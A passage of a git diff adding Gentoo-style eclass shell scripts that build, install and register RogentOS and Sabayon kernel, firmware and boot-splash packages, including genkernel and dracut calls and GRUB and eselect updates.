+	K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-$(_get_arch).config" )
+
+	_config_file_set=1
+}
+
+if [ -n "${K_ONLY_SOURCES}" ] || [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+	IUSE="${IUSE}"
+	DEPEND="sys-apps/sed"
+	RDEPEND="${RDEPEND}"
+else
+	IUSE="dmraid dracut iscsi luks lvm mdadm plymouth splash"
+	if [ -n "${K_ROGKERNEL_ZFS}" ]; then
+		IUSE="${IUSE} zfs"
+	fi
+	DEPEND="app-arch/xz-utils
+		sys-apps/sed
+		sys-devel/autoconf
+		sys-devel/make
+		|| ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-3.4.45-r2 )
+		arm? ( dev-embedded/u-boot-tools )
+		amd64? ( sys-apps/v86d )
+		x86? ( sys-apps/v86d )
+		splash? ( x11-themes/rogentos-artwork-core )
+		lvm? ( sys-fs/lvm2 sys-block/thin-provisioning-tools )
+		plymouth? (
+			|| ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-5 )
+			sys-boot/plymouth
+		)
+		dracut? ( sys-apps/v86d sys-kernel/dracut )"
+	RDEPEND="sys-apps/sed
+		sys-kernel/linux-firmware"
+	if [ -n "${K_REQUIRED_LINUX_FIRMWARE_VER}" ]; then
+		RDEPEND+=" >=sys-kernel/linux-firmware-${K_REQUIRED_LINUX_FIRMWARE_VER}"
+	fi
+fi
+
+# internal function
+#
+# FUNCTION: _update_depmod
+# @USAGE: _update_depmod <-r depmod>
+# DESCRIPTION:
+# It updates the modules.dep file for the current kernel.
+# This is more or less the same of linux-mod update_depmod, with the
+# exception of accepting parameter which is passed to depmod -r switch
+_update_depmod() {
+
+        # if we haven't determined the version yet, we need too.
+        get_version;
+
+	ebegin "Updating module dependencies for ${KV_FULL}"
+	if [ -r "${KV_OUT_DIR}"/System.map ]; then
+		depmod -ae -F "${KV_OUT_DIR}"/System.map -b "${ROOT}" -r "${1}"
+		eend $?
+	else
+		ewarn
+		ewarn "${KV_OUT_DIR}/System.map not found."
+		ewarn "You must manually update the kernel module dependencies using depmod."
+		eend 1
+		ewarn
+	fi
+}
+
+rogentos-kernel_pkg_setup() {
+	if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+		einfo "Preparing kernel firmwares"
+	else
+		einfo "Preparing kernel and its modules"
+	fi
+}
+
+rogentos-kernel_src_unpack() {
+	local okv="${OKV}"
+	if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ] && [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" != "1" ]; then
+		OKV="${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}"
+	fi
+	if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+		# workaround for kernel-2's universal_unpack assumptions
+		UNIPATCH_LIST_DEFAULT= KV_MAJOR=0 kernel-2_src_unpack
+	else
+		kernel-2_src_unpack
+	fi
+	if [ -n "${K_ROGKERNEL_FORCE_SUBLEVEL}" ]; then
+		# patch out Makefile with proper sublevel
+		sed -i "s:^SUBLEVEL = .*:SUBLEVEL = ${K_ROGKERNEL_FORCE_SUBLEVEL}:" \
+			"${S}/Makefile" || die
+	fi
+	if [ -n "${K_ROGKERNEL_RESET_EXTRAVERSION}" ]; then
+		sed -i "s:^EXTRAVERSION =.*:EXTRAVERSION = :" "${S}/Makefile" || die
+		# some sources could have multiple append-based EXTRAVERSIONs
+		sed -i "s/^EXTRAVERSION :=.*//" "${S}/Makefile" || die
+	fi
+	OKV="${okv}"
+
+	# Let's handle EAPIs 0 and 1...
+	case ${EAPI:-0} in
+		0|1) rogentos-kernel_src_prepare ;;
+	esac
+}
+
+rogentos-kernel_src_prepare() {
+	_set_config_file_vars
+}
+
+rogentos-kernel_src_compile() {
+	if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+		_firmwares_src_compile
+	elif [ -n "${K_ONLY_SOURCES}" ]; then
+		kernel-2_src_compile
+	else
+		_kernel_src_compile
+	fi
+}
+
+_firmwares_src_compile() {
+	einfo "Starting to compile firmwares..."
+	_kernel_copy_config "${S}/.config"
+	cd "${S}" || die "cannot find source dir"
+
+	export LDFLAGS=""
+	OLDARCH="${ARCH}"
+	unset ARCH
+	emake firmware || die "cannot compile firmwares"
+	ARCH="${OLDARCH}"
+}
+
+_kernel_copy_config() {
+	_is_config_file_set \
+		|| die "Kernel configuration file not set. Was rogentos-kernel_src_prepare() called?"
+
+	local base_path="${DISTDIR}"
+	if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+		base_path="${S}/rogentos/config"
+	fi
+
+	local found= cfg=
+	for cfg in "${K_ROGKERNEL_CONFIG_FILES[@]}"; do
+		cfg="${base_path}/${cfg}"
+		if [ -f "${cfg}" ]; then
+			cp "${cfg}" "${1}" || die "cannot copy kernel config ${cfg} -> ${1}"
+			elog "Using kernel config: ${cfg}"
+			found=1
+			break
+		fi
+	done
+	[[ -z "${found}" ]] && die "cannot find kernel configs among: ${K_ROGKERNEL_CONFIG_FILES[*]}"
+}
+
+_kernel_src_compile() {
+	# disable sandbox
+	export SANDBOX_ON=0
+
+	# needed anyway, even if grub use flag is not used here
+	if use amd64 || use x86; then
+		mkdir -p "${WORKDIR}"/boot/grub
+	else
+		mkdir -p "${WORKDIR}"/boot
+	fi
+
+	einfo "Starting to compile kernel..."
+	_kernel_copy_config "${WORKDIR}"/config
+
+	# do some cleanup
+	rm -rf "${WORKDIR}"/lib
+	rm -rf "${WORKDIR}"/cache
+	rm -rf "${S}"/temp
+
+	# creating workdirs
+	# some kernels fail with make 3.82 if firmware dir is not created
+	mkdir "${WORKDIR}"/lib/lib/firmware -p
+	mkdir "${WORKDIR}"/cache
+	mkdir "${S}"/temp
+
+	cd "${S}" || die
+	local GKARGS=()
+	GKARGS+=( "--no-save-config" "--e2fsprogs" "--udev" )
+	use splash && GKARGS+=( "--splash=rogentos" )
+	use plymouth && GKARGS+=( "--plymouth" "--plymouth-theme=${PLYMOUTH_THEME}" )
+	use dmraid && GKARGS+=( "--dmraid" )
+	use iscsi && GKARGS+=( "--iscsi" )
+	use mdadm && GKARGS+=( "--mdadm" )
+	use luks && GKARGS+=( "--luks" )
+	use lvm && GKARGS+=( "--lvm" )
+	if [ -n "${K_ROGKERNEL_ZFS}" ]; then
+		use zfs && GKARGS+=( "--zfs" )
+	fi
+
+	export DEFAULT_KERNEL_SOURCE="${S}"
+	export CMD_KERNEL_DIR="${S}"
+	for opt in ${MAKEOPTS}; do
+		if [ "${opt:0:2}" = "-j" ]; then
+			mkopts="${opt}"
+			break
+		fi
+	done
+	[ -z "${mkopts}" ] && mkopts="-j3"
+
+	if [ -n "${K_KERNEL_IMAGE_NAME}" ]; then
+		GKARGS+=( "--kernel-target=${K_KERNEL_IMAGE_NAME}" )
+	elif use arm; then
+		# backward compat + provide sane defaults.
+		GKARGS+=( "--kernel-target=uImage" )
+	fi
+	if [ -n "${K_KERNEL_IMAGE_PATH}" ]; then
+		GKARGS+=( "--kernel-binary=${K_KERNEL_IMAGE_PATH}" )
+	elif use arm; then
+		# backward compat + provide sane defaults.
+		GKARGS+=( "--kernel-binary=arch/arm/boot/uImage" )
+	fi
+
+	# Workaround bug in splash_geninitramfs corrupting the initramfs
+	# if xz compression is used (newer genkernel >3.4.24)
+	local support_comp=$(genkernel --help | grep compress-initramfs-type)
+	if [ -n "${support_comp}" ]; then
+		GKARGS+=( "--compress-initramfs-type=gzip" )
+	fi
+
+	# Use --disklabel if genkernel supports it
+	local support_disklabel=$(genkernel --help | grep -- --disklabel)
+	if [ -n "${support_disklabel}" ]; then
+		GKARGS+=( "--disklabel" )
+	fi
+
+	if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then
+		export LOADADDR="${K_MKIMAGE_KERNEL_ADDRESS}"
+	fi
+	OLDARCH="${ARCH}"
+	unset ARCH
+	unset LDFLAGS
+	DEFAULT_KERNEL_SOURCE="${S}" CMD_KERNEL_DIR="${S}" genkernel "${GKARGS[@]}" ${K_GENKERNEL_ARGS} \
+		--kerneldir="${S}" \
+		--kernel-config="${WORKDIR}"/config \
+		--cachedir="${WORKDIR}"/cache \
+		--makeopts="${mkopts}" \
+		--tempdir="${S}"/temp \
+		--logfile="${WORKDIR}"/genkernel.log \
+		--bootdir="${WORKDIR}"/boot \
+		--mountboot \
+		--module-prefix="${WORKDIR}"/lib \
+		all || die "genkernel failed"
+
+	if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then
+		unset LOADADDR
+	fi
+
+	ARCH=${OLDARCH}
+}
+
+_setup_mkimage_ramdisk() {
+	local initramfs=$(ls "${WORKDIR}"/boot/${KERN_INITRAMFS_SEARCH_NAME}* 2> /dev/null)
+	if [ ! -e "${initramfs}" ] || [ ! -f "${initramfs}" ]; then
+		ewarn "No initramfs at ${initramfs}, cannot run mkimage on it!"
+	elif [ "${K_MKIMAGE_WRAP_INITRAMFS}" = "1" ]; then
+		einfo "Setting up u-boot initramfs for: ${initramfs}"
+		mkimage -A arm -O linux -T ramdisk -C none -a \
+			"${K_MKIMAGE_RAMDISK_ADDRESS}" \
+			-e "${K_MKIMAGE_RAMDISK_ENTRYPOINT}" -d "${initramfs}" \
+			"${initramfs}.u-boot" || return 1
+		mv "${initramfs}.u-boot" "${initramfs}" || return 1
+	else
+		einfo "mkimage won't be called for: ${initramfs}"
+	fi
+	return 0
+}
+
+rogentos-kernel_src_install() {
+	if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+		_firmwares_src_install
+	elif [ -n "${K_ONLY_SOURCES}" ]; then
+		_kernel_sources_src_install
+	else
+		_kernel_src_install
+	fi
+	# File collisions between slots, debug stuff
+	# not really needed for a kernel
+	rm -rf "${D}/usr/lib/debug"
+}
+
+_firmwares_src_install() {
+	dodir /lib/firmware
+	keepdir /lib/firmware
+	cd "${S}" || die
+	emake INSTALL_FW_PATH="${D}/lib/firmware" firmware_install || die "cannot install firmwares"
+}
+
+_kernel_sources_src_install() {
+	_kernel_copy_config ".config"
+	kernel-2_src_install
+	cd "${D}${KV_OUT_DIR}" || die
+	local oldarch="${ARCH}"
+	unset ARCH
+	if ! use sources_standalone; then
+		make modules_prepare || die "failed to run modules_prepare"
+		rm .config || die "cannot remove .config"
+		rm Makefile || die "cannot remove Makefile"
+		rm -f include/linux/version.h
+		rm -f include/generated/uapi/linux/version.h
+	fi
+	ARCH="${oldarch}"
+}
+
+_kernel_src_install() {
+	if use arm; then
+		_setup_mkimage_ramdisk || die "cannot setup mkimage"
+	fi
+
+	dodir "${KV_OUT_DIR}"
+	insinto "${KV_OUT_DIR}"
+
+	_kernel_copy_config ".config"
+	doins ".config" || die "cannot copy kernel config"
+	doins Makefile || die "cannot copy Makefile"
+	doins Module.symvers || die "cannot copy Module.symvers"
+	doins System.map || die "cannot copy System.map"
+
+	# NOTE: this is a workaround caused by linux-info.eclass not
+	# being ported to EAPI=2 yet
+	local version_h_dir="include/linux"
+	local version_h_dir2="include/generated/uapi/linux"
+	local version_h=
+	local version_h_src=
+	for ver_dir in "${version_h_dir}" "${version_h_dir2}"; do
+		version_h="${ROOT}${KV_OUT_DIR/\//}/${ver_dir}/version.h"
+		if [ -f "${version_h}" ]; then
+			einfo "Discarding previously installed version.h to avoid collisions"
+			addwrite "${version_h}"
+			rm -f "${version_h}"
+		fi
+
+		# Include include/linux/version.h to make Portage happy
+		version_h_src="${S}/${ver_dir}/version.h"
+		if [ -f "${version_h_src}" ]; then
+			dodir "${KV_OUT_DIR}/${ver_dir}"
+			insinto "${KV_OUT_DIR}/${ver_dir}"
+			doins "${version_h_src}" || die "cannot copy version.h"
+		fi
+	done
+
+	insinto "/boot"
+	doins "${WORKDIR}"/boot/* || die "cannot copy /boot over"
+	cp -Rp "${WORKDIR}"/lib/* "${D}/" || die "cannot copy /lib over"
+
+	# Install dtbs if found
+	if use arm; then
+		local dtb_dir="/lib/dts/${KV_FULL}"
+		elog "Installing .dtbs (if any) into ${dtb_dir}"
+		insinto "${dtb_dir}"
+		local dtb=
+		for dtb in "${S}/arch/arm/boot/dts"/*.dtb; do
+			if [ -f "${dtb}" ]; then
+				elog "Installing dtb: ${dtb}"
+				doins "${dtb}"
+			fi
+		done
+	fi
+
+	# This doesn't always work because KV_FULL (when K_NOSETEXTRAVERSION=1) doesn't
+	# reflect the real value used in Makefile
+	#dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/source" || die "cannot install source symlink"
+	#dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/build" || die "cannot install build symlink"
+	cd "${D}"/lib/modules/* || die "cannot enter /lib/modules directory, more than one element?"
+	# cleanup previous
+	rm -f build source || die
+	# create sane symlinks
+	ln -sf "../../..${KV_OUT_DIR}" source || die "cannot create source symlink"
+	ln -sf "../../..${KV_OUT_DIR}" build || die "cannot create build symlink"
+	cd "${S}" || die
+
+	# drop ${D}/lib/firmware, virtual/linux-firmwares provides it
+	rm -rf "${D}/lib/firmware"
+
+	if [ -n "${K_WORKAROUND_SOURCES_COLLISION}" ]; then
+		# Fixing up Makefile collision if already installed by
+		# openvz-sources
+		einfo "Workarounding source package collisions"
+		make_file="${KV_OUT_DIR/\//}/Makefile"
+		einfo "Makefile: ${make_file}"
+		if [ -f "${ROOT}/${make_file}" ]; then
+			elog "Removing ${D}/${make_file}"
+			rm -f "${D}/${make_file}"
+		fi
+	fi
+
+	# Install kernel configuration information
+	# useful for Entropy kernel-switcher
+	# release level is enough for now
+	base_dir="/etc/kernels/${P}"
+	dodir "${base_dir}"
+	insinto "${base_dir}"
+	echo "${KV_FULL}" > "RELEASE_LEVEL"
+	doins "RELEASE_LEVEL"
+	einfo "Installing ${base_dir}/RELEASE_LEVEL file: ${KV_FULL}"
+
+	use dracut && \
+		_dracut_initramfs_create "${KV_FULL}"
+}
+
+rogentos-kernel_pkg_preinst() {
+	if _is_kernel_binary; then
+		mount-boot_pkg_preinst
+	fi
+}
+rogentos-kernel_grub2_mkconfig() {
+	if [ -x "${ROOT}usr/sbin/grub2-mkconfig" ]; then
+		# Grub 2.00
+		"${ROOT}usr/sbin/grub2-mkconfig" -o "${ROOT}boot/grub/grub.cfg"
+	elif [ -x "${ROOT}sbin/grub-mkconfig" ]; then
+		# Grub 1.99
+		"${ROOT}sbin/grub-mkdevicemap" --device-map="${ROOT}boot/grub/device.map"
+		"${ROOT}sbin/grub-mkconfig" -o "${ROOT}boot/grub/grub.cfg"
+	else
+		echo
+		ewarn "Attention, Grub2 is not installed !!!"
+		ewarn "Grub2 bootloader configuration won't be updated"
+		echo
+	fi
+}
+
+_get_real_extraversion() {
+	make_file="${ROOT}${KV_OUT_DIR}/Makefile"
+	local extraver=$(grep -r "^EXTRAVERSION =" "${make_file}" | cut -d "=" -f 2 | head -n 1)
+	local trimmed=${extraver%% }
+	echo ${trimmed## }
+}
+
+_get_release_level() {
+	if [[ -n "${K_WORKAROUND_USE_REAL_EXTRAVERSION}" ]]; then
+		echo "${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}$(_get_real_extraversion)"
+	elif [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then
+		echo "${KV_FULL}"
+	elif [[ "${OKV/.*}" = "3" ]] && [[ "${KV_PATCH}" = "0" ]]; then
+		# Linux 3.x support, KV_FULL is set to: 3.0-rogentos
+		# need to add another final .0 to the version part
+		echo "${KV_FULL/-/.0-}"
+	else
+		echo "${KV_FULL}"
+	fi
+}
+
+rogentos-kernel_uimage_config() {
+	# Two cases here:
+	# 1. /boot/uImage symlink is broken (pkg_postrm)
+	# 2. /boot/uImage symlink doesn't exist (pkg_postinst)
+
+	if ! has_version app-admin/eselect-uimage; then
+		ewarn "app-admin/eselect-uimage not installed"
+		ewarn "If you are using this tool, please install it"
+		return 0
+	fi
+
+	local uimage_file=$(eselect uimage show --quiet 2> /dev/null)
+	if [ -z "${uimage_file}" ]; then
+		# pick the first listed, sorry!
+		local eselect_list=$(eselect uimage list --quiet 2> /dev/null)
+		if [ -n "${eselect_list}" ]; then
+			eselect uimage set 1
+		else
+			echo
+			ewarn "No more kernels available, you won't be able to boot"
+			echo
+		fi
+	else
+		echo
+		elog "If you use eselect-bzimage, you are currently booting with kernel:"
+		elog "${uimage_file}"
+		elog
+		elog "Use 'eselect uimage' in order to switch between the available ones"
+		echo
+	fi
+}
+
+rogentos-kernel_bzimage_config() {
+	# Two cases here:
+	# 1. /boot/bzImage symlink is broken (pkg_postrm)
+	# 2. /boot/bzImage symlink doesn't exist (pkg_postinst)
+	local kern_arch
+	use x86 && kern_arch="x86"
+	use amd64 && kern_arch="x86_64"
+
+	if ! has_version app-admin/eselect-bzimage; then
+		ewarn "app-admin/eselect-bzimage not installed"
+		ewarn "If you are using this tool, please install it"
+		return 0
+	fi
+
+	local bzimage_file=$(eselect bzimage show --quiet 2> /dev/null)
+	if [ -z "${bzimage_file}" ]; then
+		# try to pic what's being installed
+		local eselect_list=$(eselect bzimage list --quiet 2> /dev/null)
+		if [ -n "${eselect_list}" ]; then
+			eselect bzimage set "kernel-genkernel-${kern_arch}-${KV_FULL}"
+			if [ "${?}" != "0" ]; then
+				# pick the first available, sorry!
+				echo
+				eselect bzimage set 1
+				ewarn "Unable to select the right kernel, falling back"
+				ewarn "to the first available entry. You have been warned"
+				echo
+			fi
+		else
+			echo
+			ewarn "No more kernels available, you might not be able to boot"
+			echo
+		fi
+	else
+		echo
+		ewarn "You are currently booting with kernel:"
+		ewarn "${bzimage_file}"
+		ewarn
+		ewarn "Use 'eselect bzimage' in order to switch between the available ones"
+		echo
+	fi
+}
+
+_dracut_initramfs_create() {
+	local kver="${1}"
+
+	elog "Creating dracut initramfs for ${kver}"
+	addpredict /etc/ld.so.cache~
+	dracut -q -N -f --kver="${kver}" "${D}/boot/initramfs-dracut-${kver}"
+}
+
+rogentos-kernel_pkg_postinst() {
+	if _is_kernel_binary; then
+		fstab_file="${ROOT}etc/fstab"
+		einfo "Removing extents option for ext4 drives from ${fstab_file}"
+		# Remove "extents" from /etc/fstab
+		if [ -f "${fstab_file}" ]; then
+			sed -i '/ext4/ s/extents//g' "${fstab_file}"
+		fi
+
+		# Update kernel initramfs to match user customizations
+		update_rogentos_kernel_initramfs_splash
+
+		# Add kernel to grub.conf
+		if use amd64 || use x86; then
+			if use amd64; then
+				local kern_arch="x86_64"
+			else
+				local kern_arch="x86"
+			fi
+			# grub-legacy
+			if [ -x "${ROOT}usr/sbin/grub-handler" ]; then
+				"${ROOT}usr/sbin/grub-handler" add \
+					"/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \
+					"/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}"
+			fi
+
+			rogentos-kernel_grub2_mkconfig
+		fi
+
+		# Setup newly installed kernel on ARM
+		if use arm; then
+			rogentos-kernel_uimage_config
+		fi
+		# Setup newly installed kernel on x86/amd64
+		# This is quite handy for static grub1/grub2
+		# configurations (like on Amazon EC2)
+		if use x86 || use amd64; then
+			rogentos-kernel_bzimage_config
+		fi
+
+		kernel-2_pkg_postinst
+		local depmod_r=$(_get_release_level)
+		_update_depmod "${depmod_r}"
+
+		elog "Please report kernel bugs at:"
+		elog "http://bugs.rogentos.ro"
+
+		elog "The source code of this kernel is located at"
+		elog "=${K_KERNEL_SOURCES_PKG}."
+		elog "RogentOS Team recommends that portage users install"
+		elog "${K_KERNEL_SOURCES_PKG} if you want"
+		elog "to build any packages that install kernel modules"
+		elog "(such as ati-drivers, nvidia-drivers, virtualbox, etc...)."
+	else
+		kernel-2_pkg_postinst
+	fi
+}
+
+rogentos-kernel_pkg_prerm() {
+	if _is_kernel_binary; then
+		mount-boot_pkg_prerm
+	fi
+}
+
+rogentos-kernel_pkg_postrm() {
+	if _is_kernel_binary; then
+		# Remove kernel from grub.conf
+		if use amd64 || use x86; then
+			if use amd64; then
+				local kern_arch="x86_64"
+			else
+				local kern_arch="x86"
+			fi
+			if [ -x "${ROOT}usr/sbin/grub-handler" ]; then
+				"${ROOT}usr/sbin/grub-handler" remove \
+					"/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \
+					"/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}"
+			fi
+
+			rogentos-kernel_grub2_mkconfig
+		fi
+
+		# Setup newly installed kernel on ARM
+		if use arm; then
+			rogentos-kernel_uimage_config
+		fi
+		# Setup newly installed kernel on x86/amd64
+		# This is quite handy for static grub1/grub2
+		# configurations (like on Amazon EC2)
+		if use x86 || use amd64; then
+			rogentos-kernel_bzimage_config
+		fi
+	fi
+}
+
+# export all the available functions here
+case ${EAPI:-0} in
+	0|1) extra_export_funcs= ;;
+	*) extra_export_funcs=src_prepare ;;
+esac
+
+EXPORT_FUNCTIONS pkg_setup src_unpack ${extra_export_funcs} \
+	src_compile src_install pkg_preinst pkg_postinst pkg_prerm pkg_postrm
diff --git a/eclass/sabayon-artwork.eclass b/eclass/sabayon-artwork.eclass
new file mode 100644
index 00000000..59d11cca
--- /dev/null
+++ b/eclass/sabayon-artwork.eclass
@@ -0,0 +1,55 @@
+# Copyright 2004-2009 Sabayon Project
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+inherit eutils
+
+# @ECLASS-VARIABLE: KERN_INITRAMFS_SEARCH_NAME
+# @DESCRIPTION:
+# Argument used by `find` to search inside ${ROOT}boot Linux
+# Kernel initramfs files to patch
+KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}"
+
+# @ECLASS-VARIABLE: GFX_SPLASH_NAME
+# @DESCRIPTION:
+# Default splash theme name to use
+GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-sabayon}"
+
+# @FUNCTION: update_kernel_initramfs_splash
+# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file]
+# @RETURN: 1, if something went wrong
+#
+# @MAINTAINER:
+# Fabio Erculiani
+update_kernel_initramfs_splash() {
+
+	[[ -z "${2}" ]] && die "wrong update_kernel_splash arguments"
+
+	if ! has_version "media-gfx/splashutils"; then
+		ewarn "media-gfx/splashutils not found, cannot update kernel splash"
+		return 1
+	fi
+	splash_geninitramfs -a "${2}" ${1}
+	return ${?}
+
+}
+
+# @FUNCTION: update_sabayon_kernel_initramfs_splash
+# @USAGE: update_sabayon_kernel_initramfs_splash
+#
+# @MAINTAINER:
+# Fabio Erculiani
+update_sabayon_kernel_initramfs_splash() {
+	local splash_name="${GFX_SPLASH_NAME}"
+	local override_splash_file="${ROOT}etc/oem/splash_name"
+	if [ -f "${override_splash_file}" ]; then
+		found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1)
+		if [ -d "/etc/splash/${found_splash_name}" ]; then
+			splash_name="${found_splash_name}"
+		fi
+	fi
+	for bootfile in `find ${ROOT}boot -name "${KERN_INITRAMFS_SEARCH_NAME}"`; do
+		einfo "Updating boot splash for ${bootfile}"
+		update_kernel_initramfs_splash "${GFX_SPLASH_NAME}" "${bootfile}"
+	done
+}
diff --git a/eclass/sabayon-kernel.eclass b/eclass/sabayon-kernel.eclass
new file mode 100644
index 00000000..4c6235d9
--- /dev/null
+++ b/eclass/sabayon-kernel.eclass
@@ -0,0 +1,967 @@
+# Copyright 2004-2010 Sabayon Project
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+# @ECLASS-VARIABLE: K_SABKERNEL_NAME
+# @DESCRIPTION:
+# The kernel name used by the ebuild, it should be the ending ${PN} part
+# for example, of linux-sabayon it is "${PN/${PN/-*}-}" (sabayon)
+K_SABKERNEL_NAME="${K_SABKERNEL_NAME:-${PN/${PN/-*}-}}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_SELF_TARBALL_NAME
+# @DESCRIPTION:
+# If the main kernel sources tarball is generated in-house and available
+# on the "sabayon" mirror, set this variable to the extension name (see example
+# below). This will disable ALL the extra/local patches (since they have to
+# be applied inside the tarball). Moreover, K_SABKERNEL_NAME,
+# K_KERNEL_PATCH_VER will be ignored.
+# Example:
+#   K_SABKERNEL_SELF_TARBALL_NAME="sabayon"
+#   This would generate:
+#   SRC_URI="mirror://sabayon/sys-kernel/linux-${PV}+sabayon.tar.${K_TARBALL_EXT}"
+K_SABKERNEL_SELF_TARBALL_NAME="${K_SABKERNEL_SELF_TARBALL_NAME:-}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_PATCH_UPSTREAM_TARBALL
+# @DESCRIPTION:
+# If set to 1, the ebuild will fetch the upstream kernel tarball and
+# apply the Sabayon patch against it. This strategy avoids the need of
+# creating complete kernel source tarballs. The default value is 0.
+K_SABKERNEL_PATCH_UPSTREAM_TARBALL="${K_SABKERNEL_PATCH_UPSTREAM_TARBALL:-0}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_FORCE_SUBLEVEL
+# @DESCRIPTION:
+# Force the rewrite of SUBLEVEL in kernel sources Makefile
+K_SABKERNEL_FORCE_SUBLEVEL="${K_SABKERNEL_FORCE_SUBLEVEL:-}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_RESET_EXTRAVERSION
+# @DESCRIPTION:
+# Force the rewrite of EXTRAVERSION in kernel sources Makefile (setting it to "")
+K_SABKERNEL_RESET_EXTRAVERSION="${K_SABKERNEL_RESET_EXTRAVERSION:-}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_LONGTERM
+# @DESCRIPTION:
+# Consider Kernel stable patchset as longterm (changing URL)
+K_SABKERNEL_LONGTERM="${K_SABKERNEL_LONGTERM:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_SOURCES_PKG
+# @DESCRIPTION:
+# The kernel sources package used to build this kernel binary
+K_KERNEL_SOURCES_PKG="${K_KERNEL_SOURCES_PKG:-${CATEGORY}/${PN/*-}-sources-${PVR}}"
+
+# @ECLASS-VARIABLE: K_KERNEL_PATCH_VER
+# @DESCRIPTION:
+# If set to "3" for example, it applies the upstream kernel
+# patch corresponding to patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.3.${K_TARBALL_EXT}
+# @TODO: deprecate and remove once 2.6.x kernels are retired
+K_KERNEL_PATCH_VER="${K_KERNEL_PATCH_VER:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_PATCH_HOTFIXES
+# @DESCRIPTION:
+# If there is the need to quickly apply patches to the kernel
+# without bumping the kernel patch tarball (for eg. in case
+# of just released security fixes), set this variable in your ebuild
+# pointing to space separated list of patch paths.
+K_KERNEL_PATCH_HOTFIXES="${K_KERNEL_PATCH_HOTFIXES:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_DISABLE_PR_EXTRAVERSION
+# @DESCRIPTION:
+# Set this to "1" if you want to tell kernel-2 eclass to
+# not use ${PR} in kernel EXTRAVERSION (K_NOUSEPR). Otherwise, set
+# this to "0" to not set K_NOUSEPR at all.
+K_KERNEL_DISABLE_PR_EXTRAVERSION="${K_KERNEL_DISABLE_PR_EXTRAVERSION:-1}"
+
+# @ECLASS-VARIABLE: K_KERNEL_SLOT_USEPVR
+# @DESCRIPTION:
+# Set this to "1" if you want to use ${PVR} in SLOT variable, instead of ${PV}
+# sys-kernel/linux-vserver (vserver-sources) require this. This won't work for
+# firmware pkgs.
+K_KERNEL_SLOT_USEPVR="${K_KERNEL_SLOT_USEPVR:-0}"
+
+# @ECLASS-VARIABLE: K_KERNEL_NEW_VERSIONING
+# @DESCRIPTION:
+# Set this to "1" if your kernel ebuild uses the new Linux kernel upstream
+# versioning and ${PV} contains the stable revision, like 3.7.1.
+# In the example above, this makes the SLOT variable contain only "3.7".
+# The sublevel version can be forced using K_SABKERNEL_FORCE_SUBLEVEL
+K_KERNEL_NEW_VERSIONING="${K_KERNEL_NEW_VERSIONING:-0}"
+
+# @ECLASS-VARIABLE: K_KERNEL_IMAGE_NAME
+# @DESCRIPTION:
+# Set this to a custom kernel image make target if the default does not
+# fit your needs. This value if set, is passed to genkernel through the
+# --kernel-target= flag.
+K_KERNEL_IMAGE_NAME="${K_KERNEL_IMAGE_NAME:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_LTS
+# @DESCRIPTION:
+# Set this to 1 to mark the kernel as Long Term Stable. "virtual/linux-binary-lts"
+# shall be appended to ${PROVIDE}.
+K_KERNEL_LTS="${K_KERNEL_LTS:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_IMAGE_PATH
+# @DESCRIPTION:
+# Set this to a custom relative kernel image path to override the default
+# one. This value if set, is passed to genkernel through the
+# --kernel-binary= flag.
+K_KERNEL_IMAGE_PATH="${K_KERNEL_IMAGE_PATH:-}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_FIRMWARE
+# @DESCRIPTION:
+# Set this to "1" if your ebuild is a kernel firmware package
+K_FIRMWARE_PACKAGE="${K_FIRMWARE_PACKAGE:-}"
+
+# @ECLASS-VARIABLE: K_ONLY_SOURCES
+# @DESCRIPTION:
+# For every kernel binary package, there is a kernel source package associated
+# if your ebuild is one of them, set this to "1"
+K_ONLY_SOURCES="${K_ONLY_SOURCES:-}"
+
+# @ECLASS-VARIABLE: K_REQUIRED_LINUX_FIRMWARE_VER
+# @DESCRIPTION:
+# Minimum required version of sys-kernel/linux-formware package, if any
+K_REQUIRED_LINUX_FIRMWARE_VER="${K_REQUIRED_LINUX_FIRMWARE_VER:-}"
+
+# @ECLASS-VARIABLE: K_WORKAROUND_SOURCES_COLLISION
+# @DESCRIPTION:
+# For kernel binary packages, Workaround file collisions with kernel
+# sources already providing certain files (like Makefile). Used
+# by linux-openvz and linux-vserver
+K_WORKAROUND_SOURCES_COLLISION="${K_WORKAROUND_SOURCES_COLLISION:-}"
+
+# @ECLASS-VARIABLE: K_WORKAROUND_USE_REAL_EXTRAVERSION
